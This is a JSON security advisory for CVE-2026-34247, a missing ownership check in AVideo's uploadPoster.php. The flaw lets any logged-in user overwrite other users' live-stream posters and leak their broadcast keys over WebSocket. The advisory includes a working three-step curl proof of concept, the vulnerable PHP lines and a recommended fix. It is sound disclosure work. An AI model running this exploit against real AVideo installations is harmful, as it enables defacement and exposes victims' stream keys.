{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:41:44Z",
    "nvd_published_at": "2026-03-27T17:16:30Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim\u0027s broadcast key and user ID to all connected WebSocket clients.\n\n## Details\n\nThe vulnerable endpoint at `plugin/Live/uploadPoster.php` accepts a `live_schedule_id` from `$_REQUEST` and uses it to determine poster file paths and trigger socket notifications without ownership validation.\n\n**Entry point \u2014 attacker-controlled input (line 11-12):**\n```php\n$live_servers_id = intval($_REQUEST[\u0027live_servers_id\u0027]);\n$live_schedule_id = intval($_REQUEST[\u0027live_schedule_id\u0027]);\n```\n\n**Insufficient auth check (line 14-17):**\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = \u0027You cant edit this file\u0027;\n    die(json_encode($obj));\n}\n```\n\nThis only verifies the user is logged in. There is no check that `User::getId()` matches the schedule owner\u0027s `users_id`.\n\n**Poster path resolved by ID alone (line 40-42):**\n```php\n$paths = Live_schedule::getPosterPaths($live_schedule_id, 0);\n$obj-\u003efile = str_replace($global[\u0027systemRootPath\u0027], \u0027\u0027, $paths[\u0027path\u0027]);\n$obj-\u003efileThumbs = str_replace($global[\u0027systemRootPath\u0027], \u0027\u0027, $paths[\u0027path_thumbs\u0027]);\n```\n\n`getPosterPaths()` is a static method that constructs file paths purely from the numeric ID with no authorization.\n\n**Attacker\u0027s file overwrites victim\u0027s poster (line 48):**\n```php\nif (!move_uploaded_file($_FILES[\u0027file_data\u0027][\u0027tmp_name\u0027], $tmpDestination)) {\n```\n\n**Broadcast to all WebSocket clients (line 67-73):**\n```php\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    $array = setLiveKey($ls-\u003egetKey(), $ls-\u003egetLive_servers_id());\n    $array[\u0027users_id\u0027] = $ls-\u003egetUsers_id();\n    $array[\u0027stats\u0027] = getStatsNotifications(true);\n    Live::notifySocketStats(\"socketLiveOFFCallback\", $array);\n}\n```\n\nThe `Live_schedule` constructor (inherited from `ObjectYPT`) loads data by ID with no auth checks. `Live::notifySocketStats()` calls `sendSocketMessageToAll()` which broadcasts to every connected WebSocket client.\n\n**Notably, the parallel endpoints DO have ownership checks:**\n- `plugin/Live/view/Live_schedule/uploadPoster.php` (line 18-21) checks `$row-\u003egetUsers_id() != User::getId()`\n- `plugin/Live/uploadPoster.json.php` (line 24-27) checks `User::isAdmin() || $row-\u003egetUsers_id() == User::getId()`\n\nThis proves the missing check in `uploadPoster.php` is an oversight, not by-design.\n\n## PoC\n\n```bash\n# Step 1: Log in as a low-privilege user to get a session cookie\ncurl -c cookies.txt -X POST \u0027https://target.com/objects/login.json.php\u0027 \\\n  -d \u0027user=attacker@example.com\u0026pass=attackerpassword\u0027\n\n# Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user)\ncurl -b cookies.txt \\\n  -F \u0027file_data=@malicious.jpg\u0027 \\\n  -F \u0027live_schedule_id=1\u0027 \\\n  -F \u0027live_servers_id=0\u0027 \\\n  \u0027https://target.com/plugin/Live/uploadPoster.php\u0027\n\n# Expected: 403 or ownership error\n# Actual: {} (success) \u2014 poster overwritten, socketLiveOFFCallback broadcast sent\n\n# Step 3: Verify the poster was replaced\ncurl -o - \u0027https://target.com/videos/live_schedule_posters/schedule_1.jpg\u0027 | file -\n# Output confirms attacker\u0027s image now serves as the victim\u0027s poster\n\n# The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains:\n# { \"key\": \"\u003cvictim_broadcast_key\u003e\", \"users_id\": \u003cvictim_user_id\u003e, \"stats\": {...} }\n```\n\nSchedule IDs are sequential integers and can be enumerated trivially.\n\n## Impact\n\n1. **Content tampering:** Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image).\n2. **False offline notifications:** The `socketLiveOFFCallback` broadcast misleads all connected viewers into thinking the victim\u0027s stream went offline, disrupting the victim\u0027s audience.\n3. **Information disclosure:** The broadcast leaks the victim\u0027s `users_id` and broadcast key to all connected WebSocket clients.\n4. **Enumerable targets:** Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams.\n\n## Recommended Fix\n\nAdd an ownership check after the login verification at line 17 in `plugin/Live/uploadPoster.php`:\n\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = \u0027You cant edit this file\u0027;\n    die(json_encode($obj));\n}\n\n// Add ownership check for scheduled live streams\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    if ($ls-\u003egetUsers_id() != User::getId() \u0026\u0026 !User::isAdmin()) {\n        $obj-\u003emsg = \u0027Not authorized\u0027;\n        die(json_encode($obj));\n    }\n}\n```\n\nThis mirrors the existing authorization pattern already used in `uploadPoster.json.php` (line 24) and `view/Live_schedule/uploadPoster.php` (line 18).",
  "id": "GHSA-g3hj-mf85-679g",
  "modified": "2026-03-29T15:41:44Z",
  "published": "2026-03-29T15:41:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g3hj-mf85-679g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34247"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/5fcb3bdf59f26d65e203cfbc8a685356ba300b60"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications"
}